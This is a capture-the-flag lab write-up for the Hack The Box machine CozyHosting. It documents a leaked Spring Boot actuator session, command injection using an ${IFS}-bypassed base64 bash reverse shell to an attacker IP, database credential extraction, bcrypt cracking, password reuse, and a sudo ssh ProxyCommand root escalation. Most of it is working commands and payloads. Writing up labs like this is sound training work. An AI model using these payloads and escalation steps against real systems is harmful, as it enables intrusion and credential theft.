CozyHosting — HTB¶
IP: 10.129.229.88 OS: Ubuntu Linux Date Started: 2026-02-21
Enumeration¶
Nmap¶
Two open ports only:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open http nginx 1.18.0 (Ubuntu)
- nginx reverse proxying to Spring Boot on
localhost:8080 - Hostname:
cozyhosting.htb(added to/etc/hosts)
Web¶
Stack: Spring Boot (confirmed via Whitelabel Error Page on invalid URLs)
ffuf directory enumeration (big.txt, filtered 403):
| Path | Status | Notes |
|---|---|---|
/admin |
401 | Auth required — admin panel |
/login |
200 | Login form (NiceAdmin Bootstrap template) |
/logout |
204 | Logout endpoint |
/index |
200 | Home page |
/error |
500 | Whitelabel error page |
Spring Boot Actuator (Exposed!)¶
/actuator returned full endpoint listing — misconfigured, no auth required:
| Endpoint | Value |
|---|---|
/actuator/sessions |
Active session IDs with usernames |
/actuator/env |
Environment variables |
/actuator/mappings |
All API route mappings |
/actuator/beans |
Spring beans |
/actuator/health |
Health check |
Key finding: /actuator/sessions leaked active session for kanderson:
Session ID: 99436176E7884B8F4A0B88D65FE52327
Session Hijacking → Admin Panel¶
Replaced browser JSESSIONID cookie with kanderson's session token → gained access to /admin as K. Anderson.
Admin panel features:
- Dashboard with stats (links non-functional)
- "Include host into automatic patching" form at bottom
- Fields: Hostname, Username
- Posts to: POST /executessh
- Content-Type: application/x-www-form-urlencoded
- Parameters: host= and username=
Command Injection on /executessh¶
The /executessh endpoint runs SSH with user-supplied input. Backend constructs: ssh <username>@<hostname>
Error response confirmed input passes directly to SSH command:
error=ssh: Could not resolve hostname myotherride.com: Temporary failure in name resolution
Filter discovered: Username can't contain whitespaces! — server rejects literal spaces in the username field.
Bypass: ${IFS} (Internal Field Separator) — bash variable that evaluates to whitespace at runtime but isn't a literal space character.
Failed attempts and why:
- ;id, `id`, $(id), |id — no spaces bypass, but these confirmed injection separators work in the username field
- sh -i >& /dev/tcp/... — server default shell is sh (dash), not bash. Dash doesn't support /dev/tcp/ redirects → Bad fd number error
- Must use bash -c '...' to explicitly call bash for /dev/tcp/ support
Working payload:
# 1. Base64 encode the reverse shell (avoids all special char issues)
echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.4/42069 0>&1'" | base64 -w0
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQyMDY5IDA+JjEn
# 2. Start listener
nc -lvnp 42069
# 3. Send the injection
curl http://cozyhosting.htb/executessh \
--data-urlencode 'host=127.0.0.1' \
--data-urlencode 'username=admin;`echo${IFS}YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQyMDY5IDA+JjEn=|base64${IFS}-d|bash`;#' \
-v
Payload breakdown:
admin;`echo${IFS}<base64>|base64${IFS}-d|bash`;#@127.0.0.1
│ │ │ │
│ ├─ backticks execute inner command │ │
│ │ echo <b64> → decode → bash executes │ │
│ │ → reverse shell connects to attacker │ │
│ └─────────────────────────────────────────┘ │
├─ ; terminates ssh command │
└─ # comments out @127.0.0.1 appended by server┘
Key techniques:
- ${IFS} = space bypass for whitespace filter
- Base64 encoding = avoids all special character issues (>&, spaces, quotes)
- bash -c = forces bash interpreter (dash/sh doesn't support /dev/tcp/)
- # at end = comments out the @hostname the server appends
- --data-urlencode in curl = properly encodes $, {, ; etc.
Foothold¶
Reverse shell obtained via command injection on /executessh endpoint.
- Landed as:
app(uid=1001, gid=1001, no special groups) - Working directory:
/app
Internal Enumeration¶
ss -tlnp revealed PostgreSQL running on localhost:5432.
Spring Boot JAR extraction:
# Found the application JAR
ls -la /app
# cloudhosting-0.0.1.jar
# Extracted it
unzip cloudhosting-0.0.1.jar -d /tmp/
# Searched for credentials
grep -R password /tmp 2>/dev/null
Found application.properties at /tmp/BOOT-INF/classes/application.properties:
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
PostgreSQL Enumeration¶
psql -h localhost -U postgres
# Password: Vg&nvzAQ7XxR
Database: cozyhosting (also: postgres, template0, template1)
\c cozyhosting
\d+
-- Tables: hosts, hosts_id_seq, users
\d+ users
-- Columns: name, password, role
SELECT name, password, role FROM users;
Dumped user hashes (bcrypt):
| User | Hash | Role |
|---|---|---|
| kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim |
— |
| admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm |
— |
Privilege Escalation¶
Hash Cracking → Password Reuse → SSH as josh¶
Cracked admin bcrypt hash with John:
echo 'admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > loot/hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt loot/hashes.txt
Result: admin → manchesterunited
ssh admin@ failed — no admin system user. But ls -la /home/ revealed josh as the only user.
Password reuse: manchesterunited worked for josh via SSH.
ssh [email protected]
# Password: manchesterunited
User flag: 957b7268f170f575e3a268134af594e2
sudo ssh → Root¶
josh@cozyhosting:~$ sudo -l
# (root) /usr/bin/ssh *
Josh can run SSH as root with any arguments. This is a GTFOBins escalation — SSH's -o ProxyCommand option executes arbitrary commands, and since SSH runs as root via sudo, the spawned shell is root.
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
Flags/Notes:
- sudo ssh = runs SSH as root (allowed by sudo policy)
- -o ProxyCommand='...' = SSH option that runs a command before connecting — abused to spawn a shell
- ;/bin/sh 0<&2 1>&2 = spawns a shell with stdin/stdout connected to terminal
- x = dummy hostname (SSH never connects — ProxyCommand fires first)
# whoami
root
# cat /root/root.txt
43cbb341b708215b22f98af276f1d525
Root flag: 43cbb341b708215b22f98af276f1d525
Flags¶
- User:
957b7268f170f575e3a268134af594e2 - Root:
43cbb341b708215b22f98af276f1d525
Lessons Learned¶
- Spring Boot Whitelabel Error Page is a reliable fingerprint → always check
/actuatorendpoints /actuator/sessionscan leak active session tokens — trivial session hijacking if exposed- JSESSIONID cookie swap in browser DevTools is all it takes to hijack a Spring session
- When a web form takes a hostname/username and the backend runs SSH, think command injection
- Always intercept with Burp before guessing injection payloads — see the actual request structure first
- Whitespace filters are common —
${IFS}is the go-to bypass for bash command injection - Base64 encode payloads when dealing with special characters in injection — cleaner and more reliable than escaping each char
- Know your shell:
sh/dash≠bash./dev/tcp/is a bash-ism. If you getBad fd number, you need to explicitly callbash #(comment) is useful to neutralize trailing characters the server appends to your injection- Always extract JARs on Spring Boot boxes —
application.propertiesoften contains DB credentials ss -tlnpreveals internal services not visible from nmap (like PostgreSQL on localhost:5432)- Spring Boot apps commonly store user data in the bundled database — extract the JAR, find the DB creds, dump the tables
- Web app usernames ≠ system usernames — always check
/home/and/etc/passwdfor real users before trying cracked creds - Password reuse is extremely common — always try cracked web passwords against SSH/system users
sudo -lis priority #1 after getting a real user shell — check what you can run as root- GTFOBins SSH:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x— instant root shell if sudo allows SSH with wildcard args - Don't forget
sudo— running the exploit without it gives you a shell as your current user, not root